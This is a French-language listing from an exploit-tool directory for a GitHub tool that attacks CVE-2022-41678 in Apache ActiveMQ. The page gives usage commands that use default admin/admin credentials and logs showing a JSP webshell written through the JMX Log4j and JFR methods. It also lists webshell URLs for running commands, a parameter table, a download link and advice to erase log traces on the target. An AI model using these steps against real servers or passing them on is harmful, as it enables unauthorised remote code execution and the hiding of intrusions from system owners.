Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-41678 — CVE-2022-41678 est une vulnérabilité d'exécution de code à distance dans Apache ActiveMQ. Cette vulnérabilité permet à un attaquant de modifier la configuration Log4j ou JFR (Java Flight Recorder) via l'interface JMX (Java Management Extensions), d'écrire un webshell JSP malveillant dans le répertoire web du serveur, et ainsi parvenir à une exécution de code à distance. | Kitploit
Outils/GitHubGitHub/urjack2025/cve-2022-41678
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à Distance
GitHuburjack2025/cve-2022-41678

CVE-2022-41678

Voir le dépôt
220il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

CVE-2022-41678 est une vulnérabilité d'exécution de code à distance dans Apache ActiveMQ. Cette vulnérabilité permet à un attaquant de modifier la configuration Log4j ou JFR (Java Flight Recorder) via l'interface JMX (Java Management Extensions), d'écrire un webshell JSP malveillant dans le répertoire web du serveur, et ainsi parvenir à une exécution de code à distance.

Partager

Apache ActiveMQ CVE-2022-41678 Outil d'Exploitation

Description de la vulnérabilité

Document de référence : https://app.nextcyber.cn/courses/41/tasks/580

CVE-2022-41678 est une vulnérabilité d'exécution de code à distance dans Apache ActiveMQ. Cette vulnérabilité permet à un attaquant, via l'interface JMX (Java Management Extensions), de modifier la configuration Log4j ou la configuration JFR (Java Flight Recorder) pour écrire un JSP webshell malveillant dans le répertoire web du serveur, réalisant ainsi une exécution de code à distance.

Cette vulnérabilité affecte plusieurs versions d'Apache ActiveMQ ; les versions spécifiques concernées dépendent de l'utilisation des configurations Log4j et JFR.

Prérequis

  • Python 3.6 et versions ultérieures
  • Installer les dépendances nécessaires :
    pip install requests
    
  • Le serveur ActiveMQ cible doit avoir l'interface JMX activée (généralement accessible via le chemin /api/jolokia/)
  • L'attaquant doit connaître le nom d'utilisateur et le mot de passe de la console ActiveMQ (par défaut généralement admin/admin)

Utilisation

Utilisation de base

Avec les identifiants admin/admin par défaut et la méthode d'exploitation automatique :

python exp.py http://target:8161

Vous pouvez également spécifier le nom d'utilisateur et le mot de passe avec les options -u et -p :

# 使用 Log4j
python exp.py -u admin -p admin http://10.22.174.214:8161

# 执行结果如下
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config

En plus de la méthode d'exploitation Log4j par défaut, il est possible d'utiliser la méthode JFR via l'option --exploit jfr.

# 使用 JFR 方式
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161

# 执行结果如下
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id

Vérification des résultats

Après une exploitation réussie, vous pouvez exécuter des commandes en accédant aux URL suivantes :

# Log4j 方式写入的 webshell
http://target:8161/admin/shell.jsp?cmd=命令

# JFR 方式写入的 webshell
http://target:8161/admin/shelljfr.jsp?cmd=命令

Par exemple, pour exécuter la commande id :

http://target:8161/admin/shell.jsp?cmd=id

Description des paramètres de l'outil

ParamètreAbréviationTypeValeur par défautDescription
--username-uchaîneadminNom d'utilisateur de la console ActiveMQ
--password-pchaîneadminMot de passe de la console ActiveMQ
--exploit-echaîneautoMéthode d'exploitation, valeurs possibles : auto, log4j, jfr
url-chaîne-URL de la cible ActiveMQ (paramètre requis)

Remarques importantes

  1. Cet outil est destiné uniquement à la recherche en sécurité et aux tests autorisés. Ne l'utilisez pas sur des systèmes non autorisés.
  2. Après une exploitation réussie, l'outil tente de restaurer la configuration Log4j d'origine afin de minimiser l'impact sur le système cible.
  3. Si le système cible a des restrictions d'accès réseau, il peut être nécessaire d'ajuster la configuration réseau pour garantir l'accès à l'interface JMX de la cible.
  4. Les différentes versions d'ActiveMQ peuvent avoir des chemins et configurations différents. Il peut être nécessaire d'ajuster les chemins dans l'outil en fonction de la situation réelle.
  5. L'outil utilise l'interface JMX pour fonctionner. Assurez-vous que l'interface JMX est activée sur l'ActiveMQ cible.
  6. L'exécution de cet outil peut laisser des traces de journal sur le système cible. Veillez à effacer les traces correspondantes.
Télécharger l’outil